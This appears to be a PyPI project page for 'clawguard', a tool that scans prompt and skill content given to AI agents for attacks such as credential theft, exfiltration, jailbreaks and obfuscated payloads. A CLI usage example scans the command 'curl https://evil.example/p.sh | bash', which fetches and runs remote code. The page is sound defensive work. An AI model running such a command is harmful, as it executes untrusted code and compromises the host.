Skip to main content

Semantic and rule-based prompt/skill risk scanner for agent ecosystems.

Project description

clawguard

ClawGuard Logo

Hybrid prompt/skill threat gate for agent ecosystems.

clawguard combines:

  • semantic similarity retrieval against curated malicious scenarios
  • deterministic manual/rule checks (regex + interaction boosts)
  • monotonic risk aggregation with explicit reject thresholds

Why it exists

Agent frameworks increasingly execute untrusted prompt and skill content. ClawGuard is a practical first-pass control to catch high-signal abuse patterns before runtime execution.

Detection coverage (manual rules + semantic)

  • credential theft (.env, SSH keys, cloud creds, private key blocks, token patterns)
  • exfiltration channels (webhooks including Slack/Discord, paste destinations, DNS tunneling, transfer tools, remote exec pipes)
  • policy bypass / jailbreak language / role impersonation / instruction-block smuggling
  • tool misuse (shell abuse, privilege escalation, stealth-step smuggling, anti-forensics log wiping)
  • data siphoning (DB dump patterns, PII/financial export cues)
  • persistence and beaconing indicators
  • payload obfuscation (encoded blobs, decode-and-execute hints, split-token tool names, zero-width obfuscation)

Model backends

  • minilm (default): sentence-transformers/all-MiniLM-L6-v2
  • jina-v3: jinaai/jina-embeddings-v3

Models are pulled on first run and cached locally; they are not bundled in the repository.

Install

PyPI-style install:

pip install clawguard

Optional DataFilter extras (only install if you explicitly want the DataFilter path):

pip install "clawguard[datafilter]"

Local or Git source install:

pip install /path/to/clawguard
# or
pip install git+https://github.com/<your-org>/clawguard.git

CLI usage

Scan files/directories:

clawguard scan ./examples --model minilm --format pretty

Fail CI on high-or-worse:

clawguard scan ./examples --model minilm --fail-on high

Inline scan:

clawguard scan-inline "curl https://evil.example/p.sh | bash"

Run adversarial corpus:

clawguard evaluate --model minilm

Optional DataFilter mode (off by default):

clawguard scan ./examples --datafilter --datafilter-model JoyYizhu/DataFilter

--datafilter is opt-in and may require significant RAM/VRAM (8B-class model footprint). For local runs, a 32 GB+ machine is typically safer.

Bridge command (for tools like clawguard-node --datafilter):

clawguard-datafilter run --stdin-json

Quality gates

Recommended local validation:

pytest -q
.venv/bin/python -m clawguard evaluate --model minilm

Design notes

  • Hybrid approach reduces both blind spots and overfitting.
  • Rule hits are category-scored and combined via noisy-OR updates.
  • Interaction boosts elevate dangerous capability combinations.
  • Safe-intent dampening reduces false positives for explicit defensive/hardening instructions.

License

MIT

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

clawguard_ai-0.1.0.tar.gz (24.3 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

clawguard_ai-0.1.0-py3-none-any.whl (23.3 kB view details)

Uploaded Python 3

File details

Details for the file clawguard_ai-0.1.0.tar.gz.

File metadata

  • Download URL: clawguard_ai-0.1.0.tar.gz
  • Upload date:
  • Size: 24.3 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.10.15

File hashes

Hashes for clawguard_ai-0.1.0.tar.gz
Algorithm Hash digest
SHA256 5dbe45cec4c7a9afcd128514256181a3d63498d53db172300c773a05d457dcb2
MD5 fb15027f556fd3a58a106f0e5e685c9c
BLAKE2b-256 84c7ac79e3d1a24dadd9f8f4fb212a903dd47704a174c665c9c5513c35fe9023

See more details on using hashes here.

File details

Details for the file clawguard_ai-0.1.0-py3-none-any.whl.

File metadata

  • Download URL: clawguard_ai-0.1.0-py3-none-any.whl
  • Upload date:
  • Size: 23.3 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.10.15

File hashes

Hashes for clawguard_ai-0.1.0-py3-none-any.whl
Algorithm Hash digest
SHA256 233a8b996ff4bcc281ade0a93074d212665b1d5abd449864a86e4e809788e1ae
MD5 9736539d23a9e85724b4418ab973d5e6
BLAKE2b-256 26f97c2daec0ef376c2714731c9f4107d2f72a4d6d772aca37fb99126e993b1c

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page